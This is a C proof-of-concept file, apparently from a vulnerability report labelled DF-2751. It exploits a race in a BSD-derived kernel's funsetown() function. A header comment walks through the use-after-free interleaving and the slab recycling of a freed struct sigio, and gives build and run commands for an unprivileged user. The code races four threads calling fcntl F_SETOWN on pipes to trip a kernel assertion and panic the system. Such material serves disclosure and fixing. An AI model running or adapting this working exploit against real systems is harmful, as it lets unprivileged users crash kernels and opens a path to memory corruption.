DF-2751 / funsetown_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 | /* * DF-2751 PoC: funsetown() KKASSERT race -- stale pre-token load of * *sigiop is dereferenced after a concurrent fsetown() frees (and * slab-recycles) the struct sigio it points to. * * sys/kern/kern_descrip.c:1239-1252 (funsetown): * * if ((sigio = *sigiop) != NULL) { <-- (L1) load, NO token * lwkt_gettoken(&sigio_token); * KKASSERT(sigiop == sigio->sio_myref); <-- (D) derefs the * L1 value, can be * freed by now * sigio = *sigiop; * *sigiop = NULL; * lwkt_reltoken(&sigio_token); * } * ... kfree(sigio, M_SIGIO) ... * * Callers that reach (L1) WITHOUT holding sigio_token: * - fsetown(pgid == 0) kern_descrip.c:1298-1301 * (fcntl(fd, F_SETOWN, 0) -- unprivileged) * - pipe_close() sys/kern/sys_pipe.c:1104 * (close of a pipe end whose peer direction owns the sigio) * - funsetownlst() (owner process exit) kern_descrip.c:1281-1287 * * Race interleaving (this PoC, unprivileged, pipes only): * T1 (victim): fcntl(a0, F_SETOWN, 0) -> funsetown(&pbA.sigio): * L1 loads X, then parks at lwkt_gettoken(sigio_token) * because T3 holds it. Parking DROPS T1's pipe tokens * (LWKT soft tokens are released on block). * T2 (killer): fcntl(a0, F_SETOWN, pid) -> fsetown: acquires a0's * pipe tokens (now free) then sigio_token after T3; * token-held funsetown() frees X (the pointer T1 * loaded) and installs a fresh X' at *sigiop. * T3 (spray): fcntl(b0, F_SETOWN, pid) -> its kmalloc(M_SIGIO) * (done before taking the token) recycles X's freed * 48-byte chunk for pipe B: X->sio_myref becomes * &pbB.sigio. * T1 resumes: KKASSERT(&pbA.sigio == X->sio_myref == &pbB.sigio) * -> assertion fails -> kernel panic (INVARIANTS). * * Secondary mis-behaviour even when the recycled chunk still holds the * same sio_myref (assert passes): T1's post-assert reload picks up T2's * brand-new X' and frees it behind T2's back, silently uninstalling the * F_SETOWN the other thread just completed. * * INVARIANTS is enabled in the stock X86_64_GENERIC kernel config * (options INVARIANTS), so KKASSERT is compiled in on default builds. * * Build (guest, unprivileged): cc -O2 -pthread -o funsetown_race funsetown_race.c * Run (guest, unprivileged): ./funsetown_race 300 * Success: panic "assertion ... sio_myref ... failed" in funsetown, or * any fatal trap / guest death mid-run. */ #include <sys/fcntl.h> #include <errno.h> #include <err.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static int a[2], b[2], c[2]; static volatile unsigned long v, k, s; static volatile int stop; static void * victim_thr(void *arg) { while (!stop) { /* fsetown(0) -> funsetown() with NO token held (L1 loader) */ fcntl(a[0], F_SETOWN, 0); v++; } return (NULL); } static void * killer_thr(void *arg) { pid_t pid = getpid(); while (!stop) { /* fsetown(pid): token-held funsetown() frees whatever is * installed at *pbA.sigio right now, then installs fresh */ fcntl(a[0], F_SETOWN, pid); k++; } return (NULL); } static void * spray_thr(void *arg) { pid_t pid = getpid(); while (!stop) { /* churn pipe B's sigio: kmalloc (chunk recycling with * sio_myref = &pbB.sigio) + token-held free */ fcntl(b[0], F_SETOWN, pid); fcntl(b[0], F_SETOWN, 0); s++; } return (NULL); } static void * spray2_thr(void *arg) { pid_t pid = getpid(); while (!stop) { fcntl(c[0], F_SETOWN, pid); fcntl(c[0], F_SETOWN, 0); s++; } return (NULL); } int main(int argc, char **argv) { pthread_t t1, t2, t3, t4; int secs = 300; if (argc > 1) secs = atoi(argv[argv[1][0] == '-' ? 2 : 1]); if (pipe(a) < 0 || pipe(b) < 0 || pipe(c) < 0) err(1, "pipe"); signal(SIGIO, SIG_IGN); printf("DF-2751: uid=%d racing funsetown() KKASSERT stale-load " "for %ds...\n", getuid(), secs); fflush(stdout); pthread_create(&t1, NULL, victim_thr, NULL); pthread_create(&t2, NULL, killer_thr, NULL); pthread_create(&t3, NULL, spray_thr, NULL); pthread_create(&t4, NULL, spray2_thr, NULL); sleep(secs); stop = 1; pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); pthread_join(t4, NULL); printf("survived: victim=%lu killer=%lu spray=%lu (no panic in %ds)\n", v, k, s, secs); return (2); } |